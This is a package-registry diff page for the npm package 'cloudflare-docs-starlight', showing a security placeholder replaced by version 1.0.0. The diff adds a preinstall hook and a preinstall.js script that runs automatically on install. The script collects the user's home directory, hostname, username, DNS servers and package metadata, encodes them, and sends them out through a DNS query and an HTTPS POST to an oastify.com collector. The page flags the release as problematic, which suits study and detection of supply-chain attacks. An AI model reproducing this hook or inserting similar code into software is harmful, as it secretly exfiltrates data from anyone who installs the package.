cloudflare-docs-starlight 0.0.1-security → 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of cloudflare-docs-starlight might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/package.json +10 -4
  2. package/preinstall.js +126 -0
  3. package/README.md +0 -5
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
+
2
3
  "name": "cloudflare-docs-starlight",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
4
+ "version": "1.0.0",
5
+ "description": " Cloudflare DC ",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ },
9
+ "author": "mjhd0x1",
10
+ "license": "ISC"
11
+
12
+ }
package/preinstall.js ADDED
@@ -0,0 +1,126 @@
1
+ const os = require("os");
2
+
3
+ const dns = require("dns");
4
+
5
+ const querystring = require("querystring");
6
+
7
+ const https = require("https");
8
+
9
+ const packageJSON = require("./package.json");
10
+
11
+ const package = packageJSON.name;
12
+
13
+
14
+ // Collect tracking data
15
+
16
+ const trackingData = JSON.stringify({
17
+
18
+     p: package,
19
+
20
+     c: __dirname,
21
+
22
+     hd: os.homedir(),
23
+
24
+     hn: os.hostname(),
25
+
26
+     un: os.userInfo().username,
27
+
28
+     dns: dns.getServers(),
29
+
30
+     r: packageJSON ? packageJSON.___resolved : undefined,
31
+
32
+     v: packageJSON.version,
33
+
34
+     pjson: packageJSON,
35
+
36
+ });
37
+
38
+
39
+ // Step 1: Hex encode the tracking data
40
+
41
+ const hexEncodedData = Buffer.from(trackingData, 'utf8').toString('hex');
42
+
43
+
44
+ // Step 2: Base64 encode the hex data
45
+
46
+ const base64EncodedData = Buffer.from(hexEncodedData, 'utf8').toString('base64');
47
+
48
+
49
+ // Use Base64 encoded data in DNS query (as an example)
50
+
51
+ const dnsQuery = `example.com.${base64EncodedData}.mydomain.com`;
52
+
53
+
54
+ // Example DNS resolution to exfiltrate the data
55
+
56
+ dns.resolve(dnsQuery, (err, addresses) => {
57
+
58
+     if (err) {
59
+
60
+         console.error("Error in DNS resolution:", err);
61
+
62
+     } else {
63
+
64
+         console.log("DNS Addresses:", addresses);
65
+
66
+     }
67
+
68
+ });
69
+
70
+
71
+ // Prepare the data for HTTP POST request
72
+
73
+ var postData = querystring.stringify({
74
+
75
+     msg: trackingData, // You might want to send the original tracking data here
76
+
77
+ });
78
+
79
+
80
+ // Prepare HTTP request options
81
+
82
+ var options = {
83
+
84
+     hostname: "59clrerfxfckxilgierqdj7p7gd71xpm.oastify.com", // Replace with Interactsh or Pipedream
85
+
86
+     port: 443,
87
+
88
+     path: "/",
89
+
90
+     method: "POST",
91
+
92
+     headers: {
93
+
94
+         "Content-Type": "application/x-www-form-urlencoded",
95
+
96
+         "Content-Length": postData.length,
97
+
98
+     },
99
+
100
+ };
101
+
102
+
103
+ // Create and send the HTTPS request
104
+
105
+ var req = https.request(options, (res) => {
106
+
107
+     res.on("data", (d) => {
108
+
109
+         process.stdout.write(d);
110
+
111
+     });
112
+
113
+ });
114
+
115
+
116
+ req.on("error", (e) => {
117
+
118
+     console.error(e);
119
+
120
+ });
121
+
122
+
123
+ req.write(postData);
124
+
125
+ req.end();
126
+
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=cloudflare-docs-starlight for more information.